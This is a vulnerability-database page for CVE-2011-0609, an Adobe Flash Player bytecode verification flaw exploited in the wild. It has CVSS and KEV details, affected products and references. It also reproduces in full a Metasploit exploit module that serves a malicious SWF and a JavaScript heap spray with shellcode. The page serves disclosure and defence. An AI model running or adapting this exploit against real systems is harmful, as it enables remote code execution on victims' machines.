CVE-2011-0609 : Detail

CVE-2011-0609

7.8
/
High
92.63%V4
Local
2011-03-15
17h00 +00:00
2025-02-04
21h47 +00:00
CVE.org
NVD
Notifications for a CVE
Stay informed of any changes for a specific CVE.
Notifications manage

CVE Descriptions

Unspecified vulnerability in Adobe Flash Player 10.2.154.13 and earlier on Windows, Mac OS X, Linux, and Solaris; 10.1.106.16 and earlier on Android; Adobe AIR 2.5.1 and earlier; and Authplay.dll (aka AuthPlayLib.bundle) in Adobe Reader and Acrobat 9.x through 9.4.2 and 10.x through 10.0.1 on Windows and Mac OS X, allows remote attackers to execute arbitrary code or cause a denial of service (application crash) via crafted Flash content, as demonstrated by a .swf file embedded in an Excel spreadsheet, and as exploited in the wild in March 2011.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE Other No informations.

Metrics

Metrics Score Severity CVSS Vector Source
V3.1 7.8 HIGH CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Local

The vulnerable component is not bound to the network stack and the attacker’s path is via read/write/execute capabilities.

Attack Complexity

This metric describes the conditions beyond the attacker’s control that must exist in order to exploit the vulnerability.

Low

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success when attacking the vulnerable component.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

None

The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.

User Interaction

This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable component.

Required

Successful exploitation of this vulnerability requires a user to take some action before the vulnerability can be exploited. For example, a successful exploit may only be possible during the installation of an application by a system administrator.

Base: Scope Metrics

The Scope metric captures whether a vulnerability in one vulnerable component impacts resources in components beyond its security scope.

Scope

Formally, a security authority is a mechanism (e.g., an application, an operating system, firmware, a sandbox environment) that defines and enforces access control in terms of how certain subjects/actors (e.g., human users, processes) can access certain restricted objects/resources (e.g., files, CPU, memory) in a controlled manner. All the subjects and objects under the jurisdiction of a single security authority are considered to be under one security scope. If a vulnerability in a vulnerable component can affect a component which is in a different security scope than the vulnerable component, a Scope change occurs. Intuitively, whenever the impact of a vulnerability breaches a security/trust boundary and impacts components outside the security scope in which vulnerable component resides, a Scope change occurs.

Unchanged

An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority.

Base: Impact Metrics

The Impact metrics capture the effects of a successfully exploited vulnerability on the component that suffers the worst outcome that is most directly and predictably associated with the attack. Analysts should constrain impacts to a reasonable, final outcome which they are confident an attacker is able to achieve.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

High

There is a total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

High

There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

High

There is a total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence in the description of a vulnerability.

Environmental Metrics

These metrics enable the analyst to customize the CVSS score depending on the importance of the affected IT asset to a user’s organization, measured in terms of Confidentiality, Integrity, and Availability.

 nvd@nist.gov
V2 9.3 AV:N/AC:M/Au:N/C:C/I:C/A:C nvd@nist.gov

CISA KEV (Known Exploited Vulnerabilities)

Vulnerability name : Adobe Flash Player Unspecified Vulnerability

Required action : The impacted product is end-of-life and should be disconnected if still in use.

Known To Be Used in Ransomware Campaigns : Unknown

Added : 2022-06-07 22h00 +00:00

Action is due : 2022-06-21 22h00 +00:00

Important information
This CVE is identified as vulnerable and poses an active threat, according to the Catalog of Known Exploited Vulnerabilities (CISA KEV). The CISA has listed this vulnerability as actively exploited by cybercriminals, emphasizing the importance of taking immediate action to address this flaw. It is imperative to prioritize the update and remediation of this CVE to protect systems against potential cyberattacks.

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
EPSS First.org

Exploit information

Exploit Database EDB-ID : 17027

Publication date : 2011-03-22 23h00 +00:00
Author : Metasploit
EDB Verified : Yes

## # $Id: adobe_flashplayer_avm.rb 12091 2011-03-23 04:41:48Z bannedit $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpServer::HTML def initialize(info = {}) super(update_info(info, 'Name' => 'Adobe Flash Player AVM Bytecode Verification', 'Description' => %q{ This module exploits a vulnerability in AVM2 action script virtual machine used in Adobe Flash Player versions 9.0 through 10. The AVM fails to properly verify bytecode streams prior to executing it. This can cause uninitialized memory to be executed. Utilizing heap spraying techniques to control the uninitialized memory region it is possible to execute arbitrary code. Typically Flash Player is not used as a standalone application. Often, SWF files are embeded in other file formats or specifically loaded via a web browser. Malcode was discovered in the wild which embeded a malformed SWF file within an Excel spreadsheet. This exploit is based off the byte stream found within that malcode sample. }, 'License' => MSF_LICENSE, 'Author' => [ 'bannedit' # Metasploit version ], 'Version' => '$Revision: 12091 $', 'References' => [ ['CVE', '2011-0609'], ['URL', 'http://bugix-security.blogspot.com/2011/03/cve-2011-0609-adobe-flash-player.html'], ['URL', 'http://www.adobe.com/devnet/swf.html'], ['URL', 'http://www.adobe.com/support/security/advisories/apsa11-01.html'] ], 'DefaultOptions' => { 'EXITFUNC' => 'process', 'HTTP::compression' => 'gzip', 'HTTP::chunked' => true, 'InitialAutoRunScript' => 'migrate -f' }, 'Payload' => { 'Space' => 1000, 'BadChars' => "\x00", 'DisableNops' => true }, 'Platform' => 'win', 'Targets' => [ [ 'Automatic', { 'Ret' => 0x04040404 }], ], 'DisclosureDate' => 'Mar 15 2011', 'DefaultTarget' => 0)) end def load_swfs path = File.join( Msf::Config.install_root, "data", "exploits", "CVE-2011-0609.swf" ) fd = File.open( path, "rb" ) trigger = fd.read(fd.stat.size) fd.close return trigger end def on_request_uri(cli, request) trigger = load_swfs trigger_file = rand_text_alpha(rand(6)+3) + ".swf" if request.uri.match(/\.swf/i) print_status("Sending Trigger SWF") send_response(cli, trigger, { 'Content-Type' => 'application/x-shockwave-flash' }) return end shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch)) nops = [target.ret].pack('V') nop_sled = Rex::Text.to_unescape(nops, Rex::Arch.endian(target.arch)) var_blocks = rand_text_alpha(rand(6)+3) var_shellcode = rand_text_alpha(rand(6)+3) var_index = rand_text_alpha(rand(6)+3) var_nopsled = rand_text_alpha(rand(6)+3) spray_func = rand_text_alpha(rand(6)+3) obj_id = rand_text_alpha(rand(6)+3) # The methods used in this exploit currently could be improved. Heap spraying can likely # be done using ActionScript. I am still investigating this possibility. Additionally, # Hafei Li has been conducting some interesting research in the area of ActionScript # related vulnerabilities which could be leveraged for this exploit. # # Currently this method only works with IE as Firefox runs Flash in a container process # which is uneffected by JS heap spraying. html = <<-EOS <html> <head> </head> <body> <script> function #{spray_func}() { #{var_blocks} = new Array(); var #{var_shellcode} = unescape("#{shellcode}"); var #{var_nopsled} = unescape("#{nop_sled}"); do { #{var_nopsled} += #{var_nopsled} } while (#{var_nopsled}.length < 8200); for (#{var_index}=0; #{var_index} < 25000; #{var_index}++) #{var_blocks}[#{var_index}] = #{var_nopsled} + #{var_shellcode}; } #{spray_func}(); </script> <center> <object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" id="#{obj_id}" width="0" height="0" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab"> <param name="movie" value="#{trigger_file}" /> </object> </center> </body> </html> EOS print_status("Sending #{self.name} HTML to #{cli.peerhost}:#{cli.peerport}") send_response(cli, html, { 'Content-Type' => 'text/html' }) end end

Products Mentioned

Configuraton 0

Adobe>>Flash_player >> Version To (including) 10.2.154.13

Apple>>Mac_os_x >> Version -

Linux>>Linux_kernel >> Version -

Microsoft>>Windows >> Version -

Oracle>>Solaris >> Version -

Configuraton 0

Adobe>>Flash_player >> Version To (including) 10.1.106.16

Google>>Android >> Version -

Configuraton 0

Adobe>>Acrobat >> Version From (including) 9.0 To (including) 9.4.2

Adobe>>Acrobat >> Version 10.0

Adobe>>Acrobat >> Version 10.0.1

Adobe>>Acrobat_reader >> Version From (including) 9.0 To (including) 9.4.2

Adobe>>Acrobat_reader >> Version 10.0

Adobe>>Acrobat_reader >> Version 10.0.1

Apple>>Mac_os_x >> Version -

Microsoft>>Windows >> Version -

Configuraton 0

Adobe>>Air >> Version To (including) 2.5.1

Configuraton 0

Opensuse>>Opensuse >> Version 11.2

Opensuse>>Opensuse >> Version 11.3

Opensuse>>Opensuse >> Version 11.4

Suse>>Linux_enterprise >> Version 10.0

Suse>>Linux_enterprise >> Version 11.0

Configuraton 0

Google>>Chrome >> Version To (excluding) 10.0.648.134

Apple>>Macos >> Version -

Google>>Chrome_os >> Version -

Linux>>Linux_kernel >> Version -

Microsoft>>Windows >> Version -

References

http://www.securityfocus.com/bid/46860
Tags : vdb-entry, x_refsource_BID
http://www.vupen.com/english/advisories/2011/0732
Tags : vdb-entry, x_refsource_VUPEN
http://secunia.com/advisories/43751
Tags : third-party-advisory, x_refsource_SECUNIA
http://www.vupen.com/english/advisories/2011/0656
Tags : vdb-entry, x_refsource_VUPEN
http://www.securitytracker.com/id?1025211
Tags : vdb-entry, x_refsource_SECTRACK
http://www.vupen.com/english/advisories/2011/0655
Tags : vdb-entry, x_refsource_VUPEN
http://www.securitytracker.com/id?1025210
Tags : vdb-entry, x_refsource_SECTRACK
http://secunia.com/advisories/43856
Tags : third-party-advisory, x_refsource_SECUNIA
http://www.kb.cert.org/vuls/id/192052
Tags : third-party-advisory, x_refsource_CERT-VN
http://secunia.com/advisories/43772
Tags : third-party-advisory, x_refsource_SECUNIA
http://securityreason.com/securityalert/8152
Tags : third-party-advisory, x_refsource_SREASON
http://www.securitytracker.com/id?1025238
Tags : vdb-entry, x_refsource_SECTRACK
http://www.redhat.com/support/errata/RHSA-2011-0372.html
Tags : vendor-advisory, x_refsource_REDHAT
http://secunia.com/advisories/43757
Tags : third-party-advisory, x_refsource_SECUNIA
http://www.vupen.com/english/advisories/2011/0688
Tags : vdb-entry, x_refsource_VUPEN
The information presented on CVE Find originates from several carefully selected reference sources. CVE data is provided by MITRE Corporation and the National Vulnerability Database (NVD). The Known Exploited Vulnerabilities (KEV) catalog is sourced from the Cybersecurity and Infrastructure Security Agency (CISA), while EPSS scores come from FIRST.org. Additionally, data regarding software weaknesses (CWE) and common attack patterns (CAPEC) is maintained by MITRE Corporation, and information on hardware and software configurations (CPE) is provided by the NVD.